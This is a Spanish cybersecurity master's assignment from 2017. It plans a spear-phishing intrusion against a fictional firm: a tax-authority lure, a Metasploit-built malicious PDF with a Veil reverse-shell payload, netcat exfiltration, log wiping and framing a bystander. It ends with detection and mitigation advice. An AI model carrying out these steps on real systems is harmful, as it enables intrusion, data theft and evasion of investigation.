MÓDULO 1: CIBERINTELIGENCIA Ejercicio Evaluación Final Máster en Ciberseguridad IMF Bussines School

Aitor Lebrón 2017

2

EVALUACIÓN FINAL DEL MÓDULO

Caso Práctico.

El enunciado nos obliga a atacar una empresa “A” de la cual tenemos poca información. Quizás demasiado poca, pero

haremos el mejor intento por obtener un resultado satisfactorio. Para ello definiremos la estrategia de ataque en fases.

También nos deberemos poner en la piel de la empresa atacada y especificar las medidas a tomar en caso de haber

sufrido el ataque.

Fuente: imf.com

1. Explicación detalla de cómo conseguir el archivo.

FASE 1. Adquiriendo más información del objetivo.

Bajo ningún concepto queremos que el ataque acabe siendo detectado o que no tenga efecto, por ello es muy importante

la aproximación al objetivo de manera sigilosa y cauta para evitar ser descubiertos en nuestra investigación preliminar.

En este punto sería interesante saber más sobre la empresa “A”, aparte de tener ligera información sobre sus empleados.

Así pues, para poder analizar realmente cuál sería el mejor vector de ataque, deberíamos saber si tenemos acceso a las

inmediaciones de la empresa (si estuviera en la misma ciudad, quizás se pudiera acceder a una Wi-Fi que tuviera la

propia empresa y pudiéramos atacar el objetivo sin tener que esperar a que “alguien dispare nuestra trampa”; del mismo

modo, teniendo más información sobre el caso podríamos analizar otras vías de ataque, como intentar (si hubiera acceso

físico a los empleados) atacar los dispositivos móviles de Sergio o Laura. Sin embargo, sin saber qué dispositivos son

éstos (marca, modelo, versión del software…) es más factible atacar a los equipos de sobremesa de la empresa.

Si supiéramos si la empresa tiene una página web (algo más que probable en estos días) podríamos comenzar realizando

un análisis de OSINT. Tras éste, utilizando Google Hacking o herramientas como FOCA podríamos obtener más

información sobre la empresa gracias al análisis de los metadatos de los archivos publicados por la empresa; así

tendríamos un esquema de los ordenadores en la empresa, sus sistemas operativos, usuarios, direcciones ip,.. Así nos

aseguraríamos el poder diseñar un plan de ataque óptimo para la empresa y no uno genérico que, pudiera funcionar o

no. Saber el sector al que se dedica la empresa nos facilitaría ampliamente la labor de crear un documento factible y que

pueda ser poco sospechoso para la víctima.

Aquí también podríamos utilizar herramientas como Nmap/Zenmap que nos ayuden a identificar algún componente de

la red como pudiera ser un firewall (así aparece en el diagrama provisto en el enunciado) y poder prevenirnos de

medidas de seguridad.

Sabiendo, tan sólo el tamaño de la empresa, podremos hacernos una idea a priori, de la cantidad de recursos que pueda

destinar a la seguridad, porque no es lo mismo atacar a una organización que opera a nivel regional, que a una gran

compañía con muchos recursos y personal.

No obstante, no tenemos esta información así que he presupuesto bastantes cosas para poder llevar a cabo la actividad.

Suponiendo que el proceso de recolección de datos ha sido fructífero y tenemos algo más de información sobre Elena,

Sergio y Laura (como pudiera ser apellidos, teléfono, direcciones de correo privadas y de empresa) podemos realizar un

análisis de sus redes sociales con MALTEGO CE para poder construir una buena tapadera y crear una campaña de

Spear Phishing, que hará que la víctima se muestre más confiada a activar la trampa.

FASE 2. Diseñando la estrategia

Ahora tenemos información suficiente como para poder ponernos en contacto con cualquiera de los empleados de “A”

así que es el momento de construir el sistema de ataque. En esta ocasión, debido a la poca información que tenemos

sobre la empresa he optado por una campaña de Phishing dirigido, simulando un correo no sospechoso con un archivo

adjunto común en el mundo de la empresa y el privado, un documento pdf.

Fuente: Gobierno de Navarra.

Una alternativa que también pudiera surtir efecto es el uso del framework BeeF para atacar el navegador de la víctima,

crear un falso marco infectando o ejecutando el browser de la víctima abriendo una conexión reverse_tcp. Pero es fácil

actualizar los navegadores y por tanto, no muy seguro que esto fuera a funcionar y quiero evitar exponerme en ningún

momento.

Otra opción que he barajeado era la creación de un rtf malicioso que explotase la vulnerabildad CVE-2017-0199 y

después hacer uso de otra vulnerabilidad, MS17-010, para tener acceso al sistema. Este proceso se puede encontrar

fácilmente por Internet y parece ser bastante efectivo aunque no lo he comprobado y he visto que existe algún problema

a la hora de mantener la sesión debido a versiones de Windows, de office, de la máquina,… demasiados factores al azar

que aumentan el riesgo de que el ataque no llegue a buen puerto.

Hubiera sido ideal saber algo sobre la empresa ya que el correo trampa pudiera haber sido más conciso y pudiera haber

pasado inadvertido, no obstante he decidido usar una estrategia común, simular ser una entidad pública que notifica y

pide que se rellene un formulario. Puesto que vivo en Navarra, he usado la plantilla del generador de impresos del

Gobierno de Navarra, 308 sobre el “Régimen de recargo de equivalencia: Solicitud de devolución Trimestral.”

(https://hacienda.navarra.es/GImpresos/Detalle.aspx?busqueda=IVA&modo=1 ) y descargado las dos plantillas (en

castellano y en euskera) para posteriormente tratar las dos por igual (nunca se sabe qué opción tomará el destinatario y

el hacer referencia a los dos idiomas da robustez a la tapadera)

4

Deberá construirse un correo electrónico que parezca de la Hacienda Navarra y habrá que buscar una manera de simular

el remitente del correo para que parezca legítimo, por ejemplo, el uso de caracteres Unicode pudiera ser una buena

ayuda a técnicas clásicas usando dominios como @hacienda.navarra.es suplantando caracteres, haciendo que la

dirección simulada pudiera parecerse, aún más a la legítima.

A la hora de crear las imágenes que acompañen el correo y los archivos hay que tener en cuenta que estos almacenan

más información que la que a priori podemos ver, así pues es recomendable limpiar los metadatos de todos los archivos

involucrados en el ataque, para evitar dar más información que la estrictamente necesaria. Del mismo modo, a la hora

de ponernos en contacto con la víctima, siempre será mejor utilizar una conexión que no sea la propia de nuestro

domicilio o, al menos, camuflarnos a través de proxys, o vpn, para anonimizar (en la medida de lo posible) nuestra

conexión y evitar ser rastreados.

Fuente: Internet

En mi caso ideal, el acceso se realiza desde una cafetería o bar cercano a la empresa A, que es de pequeño tamaño. Las

conexiones se realizarán a través de canales seguros y proxy, pero de ser rastreados, en el mejor de los casos, la

investigación les llevará a un local público y a ningún sospechoso en particular. Además así sabremos si la víctima está

en el trabajo o no.

El ataque será básico, pero poco sospechoso y efectivo. La víctima recibirá un correo electrónico, visualmente muy

agradable y que parece de la Hacienda Navarra y (presumiblemente) descargará el archivo pdf infectado, al abrirlo

Acrobat descargará un ejecutable (.exe, .bat en nuestro caso) y lo ejecutará, éste creará un canal de comunicación entre

nuestro equipo y el de la víctima (esto requiere que estemos a la escucha, pero es más rápido y tomaremos control del

equipo automáticamente) o pudiera ser un servidor de algún tipo de RAT o troyano que esté configurado y programado

para enviar la dirección pública del equipo para facilitarnos el acceso a éste cuando se encienda, por ejemplo.

En este caso presupongo que el sistema a atacar será un Microsoft Windows en alguna versión no actualizada a

Windows10 (será efectivo en XP, Vista o 7) por el volumen de equipos con este tipo de sistema operativo, aunque esta

información pudiera ser más concisa y fehaciente, de manera que crearíamos una herramienta aún más efectiva, o al

menos, diseñada específicamente para el sistema en cuestión.

El gran problema de la ejecución de archivos en sistemas vigilados es que muy probablemente estén protegidos por

antivirus y en el enunciado se nos avisa de que la empresa tiene dispuestas varias herramientas de seguridad. Así que el

incluir un ejecutable de un servidor de virus conocido pudiera hacer saltar las alarmas, por eso vamos a crear nuestro

propio ejecutable y lo ofuscaremos utilizando la herramienta VEIL.

FASE 3. Creación de los archivos infectados.

El procedimiento detallado a continuación se realizará para las dos plantillas descargadas anteriormente.

Para crear los pdf maliciosos haremos uso del Metasploit Framework en una máquina con Kali Linux y usaremos el

exploit adobe_pdf_embedded_exe

A continuación vemos las opciones del exploit.

Configuraremos el payload a utilizar, en este caso usaremos el Windows/download_exec que accederá a una URL en la

que tenemos el ejecutable infeccioso y lo ejecutará.

Configuramos el exploit y definimos la plantilla pdf que queremos utilizar con: set INFILENAME y el nombre y ruta

del pdf infeccioso con: set FILENAME.

6

Abrimos Veil Evasion y decidimos qué payload queremos utilizar, en este caso: powershell/meterpreter/rev_tcp

Configuramos el payload con los parámetros que requiera, la dirección ip para completar LHOST la podemos obtener

de múltiples maneras, aunque yo prefiero el uso de: curl ifconfig.co

Escribimos “generate” y el archivo está creado.

La ventaja de usar Veil es que podemos ofuscar nuestro archivo infeccioso de manear que la tasa de detección por

antivirus desciende drásticametne.

Tenemos un archivo ejecutable en .bat con esta pinta. Que podremos ofuscar usando las opciones de Veil. En este caso

y puesto que no es necesario para la demostración, he omitido este paso.

Este ejecutable .bat, lo deberemos subir a un servidor en Internet para que sea descargado automáticamente por la

víctima, lo ideal sería disponer de servicios anónimos de FTP, en este caso, usando una cuenta falsa de correo y desde

un cibercafé se crea una cuenta en drivehq.com que crea un servidor FTP gratuito.

8

Terminaremos de configurar el exploit en Metasploit con la URL de nuestro fichero infeccioso.

Creamos el pdf con: > exploit

Así pues tenemos ya nuestro fichero infeccioso.

Al ejecutar el fichero en la máquina víctima, se abre un falso diálogo de guarda del archivo pdf, en verdad descarga

nuestro archivo pld.bat en la misma carpeta del pdf.

Podemos abrir con notepad el archivo bat, para ver qué contiene. En este caso, al no haberlo ofuscado con Veil

podemos leer el contenido del fichero, la idea del ejercicio es mostrar y no crear una herramienta de ataque.

10

Analizando el monitor de procesos del sistema y usando la orden MS-DOS >netstat –bo 1 podemos observar cómo se

ejecuta un proceso PID: 1212 que intenta comunicarse desde la víctima con nuestro equipo en el puerto 4444. Para no

comprometer mi equipo he desactivado la dirección ip de conexión.

Tenemos una máquina comprometida y ahora podemos acceder a este sistema remotamente y gestionarlo. Necesitamos

saber si la cuenta con la que estamos logueados tiene permisos de administrador. De no ser así, habrá que hacer un

bypass al UAC de Windows (o conseguir la contraseña de root si el sistema fuera UNIX).

En este punto es importante notar los procesos en ejecución de la máquina que controlamos, de esta forma sabremos si

tiene algún tipo de HIDS o HIPS, antivirus o algún otro medio de seguridad y podremos desactivarlo para evitar

problemas. De ser así, con nuestra cuenta de administrador deberíamos ser capaces de desactivarlos. Ahora tocaría

enviar el archivo del servidor a otro equipo.

FASE 4. Accediendo al servidor

Una vez tenemos el sistema comprometido, y según el esquema del enunciado, éste está directamente conectado con el

servidor, no tendremos más que ir navegando por las unidades virtuales o cualquiera que sea el sistema del servidor

hasta dar con el fichero deseado, una vez localizado podemos copiarlo al equipo comprometido y de aquí podremos

enviarlo a través de, por ejemplo, Netcat o CryptCat.

Aquí es importante asegurarse de que estamos en el sistema deseado y no hemos caído en alguna trampa del estilo

Honeypot, para ello podríamos buscar archivos del sistema copiados en otras ubicaciones, de ser así y ante el riesgo de

haber caído en una trampa, es el momento de desconectar y buscar otra manera de atacar la empresa.

El servidor puede ser visible desde este equipo y necesitamos saber a dónde encaminarnos, por eso lo ideal sería el uso

de un descubridor de hosts, el problema es que éstos son ruidosos y podrían hacer saltar las alarmas, por eso usaremos

la herramienta hping3 para disimular nuestro tráfico ICMP en busca de equipos conectados.

Otra forma de poder mantener el control del equipo infectado es instalando algún servidor para un RAT o descargando

en la máquina víctima un rootkit que, también, modifique las versiones de cmd, explorer.exe, dlls del sistema y de

comandos como netstat (o los equivalentes si la máquina objetivo fuera Linux) para complicar aún más nuestra

detección.

Usando Netcat/CryptCat tenemos la ventaja de que, en caso de encontrase un firewall en la empresa que pudiera filtrar

las conexiones entrantes, será la propia máquina explotada la que realizará la conexión y el firewall (probablemente)

permitirá este acceso a la red.

Mediante el uso de CryptCat tenemos la ventaja de que, aunque la conexión haya sido descubierta, al estar encriptada,

no se sabe qué sucede con ella. Estas herramientas son muy versátiles y no tienen una única función, pudiendo ejercer

incluso como RAT.

12

Otra manera que me gustaría probar, pero que no he sido capaz de encontrar la herramienta, es la creación de un RAT

HTTP, que se comunique por el puerto TCP 80.

En la máquina desde la que atacamos, deberemos configurar netcat como servidor usando la opción -1 y estableciendo

un puerto de escucha, idealmente, el TCP 80 ya que es común que esté abierto y así evitaremos que IDS basados en

aplicación o puerto puedan bloquearnos.

En la máquina atacada, usaremos el comando nc <dirección ip > <puerto> para iniciar la sesión, al ser el host remoto el

que solicita la conexión, el firewall muy probablemente, permitirá esta conexión.

FASE 5. Borrando el rastro

En este punto hemos extraído ya el archivo del servidor, lo tenemos a buen recaudo en algún servidor de nuestra

propiedad y lo que queremos es desaparecer del sistema para evitar sospechas o que algún Script Kiddie se pueda valer

de nuestra puerta trasera y su torpeza pudiera delatarnos. Aunque, bien pensado, no parece una mala idea dejar otra

trampa en la que algún Kiddie que vaya buscando máquinas infectadas acabe manchado con nuestro delito y de esta

forma, los investigadores ya tendrían un sospechoso (Que además, inocente del todo, no es) apartándonos de la

investigación que se centraría en este sujeto.

Ahora toca deshacerse de aquellos ficheros que hemos descargado para evitar que pudieran saber qué ha pasado y desde

dónde, esto se aplica a nuestro pld.bat almacenado en la misma carpeta que el pdf, seguramente, la carpeta de descargas

del navegador o aquella configurada en el cliente de correo.

En este caso hemos supuesto el ataque a un sistema Windows, así que deberemos comprobar si el servicio EventLog

está activado ya que muchos administradores no configuran los equipos para que guarden un historial de actividad. Los

logs de seguridad en el sistema de Microsoft se encuentran en la carpeta /Windows/System32 y son almacenados

temporalmente en los archivos APPLICATION.LOG, SYSTEM.LOG y SECURITY.LOG.

Finalmente, estos registros se almacenan en SecEvent.evt, SysEvent.evt y AppEvent.evt también en la carpeta

System32.

Del mismo modo que los ficheros de registro, necesitaremos el uso de alguna herramienta específica (como regedit o

eventvwr) para poder acceder, visualizar y modificar el contenido de estos ficheros. WinZapper es una herramienta con

esta finalidad que se suele recomendar para modificar estos ficheros, aunque su uso dependerá de la versión del sistema

operativo comprometido.

Fuente: windowsitpro.com

2. Análisis de la fuga de información.

Es complicado afrontar este apartado ya que no disponemos de la información suficiente para saber qué elementos de

seguridad tiene la empresa implementados, lo más probable es el uso de algún tipo de Firewall tanto locales, como en

punto de conexión, si bien estos últimos son menos frecuentes.

Además, debido al diseño de la estrategia es posible que pase tiempo hasta que notemos que ha ocurrido algún tipo de

filtración o ataque, la idea desde el principio era permanecer oculto y es posible que con las herramientas disponibles

por el administrador de la red o el equipo de seguridad no se haya detectado este ataque. No obstante habrá que revisar:

Antivirus en cada máquina, actualizado en el mejor de los casos. Las firmas de los virus conocidos debieran estar

puestas al día, aunque el ataque ha sido diseñado para evadir la identificación de los antivirus y su tasa de

reconocimiento es más bien baja, pudiera ser que el nuestro lo detectara y dejara constancia de un intento de ejecución

de software malicioso.

Logs. Comportamientos anormales en el servidor, en los equipos o en la red. En estos podremos ver algún tipo de

anomalía en el comportamiento habitual de la empresa, si disponemos de sistemas Linux, incluso tendremos la

posibilidad de ver el histórico de comandos ejecutados y esto podría dar evidencias de que alguien ha estado buscando

algo por la red.

En los registros del sistema, es interesante ver si se ha iniciado sesión como administrador en algún momento e intentar

seguir esa actividad por si pudiera ser sospechosa.

Carpetas de descargas. Realizaremos una búsqueda de archivos sospechosos, ejecutables descargados de Internet. En

este caso, podríamos encontrar un archivo llamado pld.bat en esta carpeta (si el atacante no cae en la cuenta de borrarlo

antes de salir del sistema), algo altamente sospechoso y al intentar visualizar su contenido tendremos una ristra de

caracteres ilógicos debido a la ofuscación, así que nuestras alertas deberían dispararse, todo apunta a que hemos sido

víctimas de un ataque con algún tipo de virus.

Controladores de inventario instalados en las máquinas de la empresa. TripWire, AIDE Comprueban checksum y de

ser modificado algún fichero del kernel o sistema alertará de esta modificación.

14

Servidor de correo electrónico. Si tenemos evidencias o sospechas de haber sido atacados y que alguno de nuestros

equipos ha sido vulnerado, podremos revisar los correos electrónicos de la empresa para verificar los remitentes en

busca de algo sospechoso en las cabeceras de los correos electrónicos, en el mejor de los casos, si esta ha sido la vía de

ataque, esta información es muy probable que no haya sido borrada. Así tendríamos una dirección IP desde la que se

envió el correo (que pudiera ser del atacante o no), una fecha y hora de ataque y vulneración del sistema, sabríamos qué

equipo ha sido alterado y bajo la responsabilidad de qué empleado. Además, acudiendo a los archivos adjuntos

tendremos una nueva muestra del ejecutable descargado junto al pdf (siempre y cuando se nos ocurra descargar el

documento y abrirlo, en condiciones controladas) desde donde poder iniciar una investigación. Sin embargo, si el correo

ha llegado a una cuenta personal a la que se ha accedido desde la empresa, aquí no podremos acceder al correo tan

fácilmente.

3. Técnicas de mitigación a implementar.

Software

Al haberse comprometido el sistema con una puerta trasera, no tendremos la seguridad de que el sistema sea

seguro hasta que no lo hayamos reemplazado desde cero. Mi opción sería el formateo del equipo y la

reinstalación del sistema desde cero realizando una restauración de aquellos archivos necesarios para el

correcto desempeño del trabajo del usuario.

Volver a realizar el proceso de asegurar la empresa desde el principio, verificando uno por uno los mínimos

que se establezca desde la dirección. Aquí se podría intentar implementar un estándar del tipo PTES (2014),

Penetration Testing Framework, NIST 800, BSI (2008), ISO 27001, OSSTMM, ISO 27008.

Actualización. Todas las herramientas instaladas así como el sistema operativo deberán estar actualizadas y al

día, esto reduce la cantidad de vulnerabilidades y ayudará a mantener la seguridad.

Implementación NIDS NIPS como SNORT o WIRESHARK para escuchar las comunicaciones. Si la

herramienta de ataque no está correctamente diseñada y almacena la dirección ip del atacante podremos

comenzar un proceso legal contra esta persona (si esa dirección IP no estuviera spoofeada o no se accediera

desde un lugar público).

Control de las comunicaciones en puertos conocidos, en este caso el ataque se comunicaba a un puerto 4444,

que es el por defecto de muchas herramientas incluidas en Metasploit. Otro conocido y que si el hacker no es

cuidadoso o detallista pudiera levantar sospecha es el clásico 1337.

Implementación de IDS o IPS en las máquinas de la empresa que pudieran identificar el acceso no permitido a

zonas del software, sistema operativo o registros. Incluso se podría implementar algún tipo de Honeypot para

dificultar futuros ataques.

Hardware

Si es posible, lo ideal sería guardar el disco duro comprometido para su posterior análisis y sustituir este en la

máquina infectada. En este análisis se puede encontrar la información sobre el funcionamiento del software

malicioso e incluso la identidad del atacante.

Si el presupuesto de la empresa lo permite, la instalación de un firewall físico y altamente configurable sería

ideal para aumentar la seguridad de la empresa, aunque estos dispositivos no son eficientes si no están

correctamente configurados y mantenidos.

Personas

Entrenamiento y formación en el ámbito laboral. Es crucial para que la seguridad de la empresa sea lo más

elevada posible. Partimos de la base de que ningún sistema es impenetrable, por ello deberemos fortalecer

aquellas partes más expuestas y sensibles, los eslabones más débiles de la cadena son aquellos que hay que

cuidar con especial atención. No sirve de mucho gastar cantidades ingentes de dinero en recursos técnicos si

nuestra plantilla no sabe utilizar estos recursos o lo hace de manera irresponsable.

Si la investigación resulta útil podremos contactar con alguna entidad jurídica o a las autoridades pertinentes

para comenzar los procesos legales en contra de los atacantes.

Siempre será buena idea poner en conocimiento de alguna autoridad técnica (CERT o incibe) el caso y

enviarles una copia del fichero malicioso.

Creación de documentos que tal vez no existan.

Actualización de las políticas de seguridad o implementación de unas si no las hubiera.

Establecer una política de actualizaciones del software.

Empleo de la política de mínimos privilegios y no permitir, bajo ningún concepto la modificación de ningún

archivo en carpetas de sistema como C:/Windows o /bin.

Creación de un sistema de comprobación de integridad en ficheros que se revise periódicamente.

Evitar que los usuarios puedan acceder a sitios personales desde el trabajo, implementar restricciones a sitios

personales como Facebook, Gmail, Hotmail,…

Añadir el remitente del mail sospechoso en una blacklist (si la hubiera)

Creación de un manual de usuario para el empleo de los equipos de la empresa y con algún modelo de

comportamiento ante diferentes eventualidades, como ataques de virus, spam, phishing o ransomware.

Prever un nuevo plan de seguridad que incluya revisiones periódicas y actualizaciones del mismo.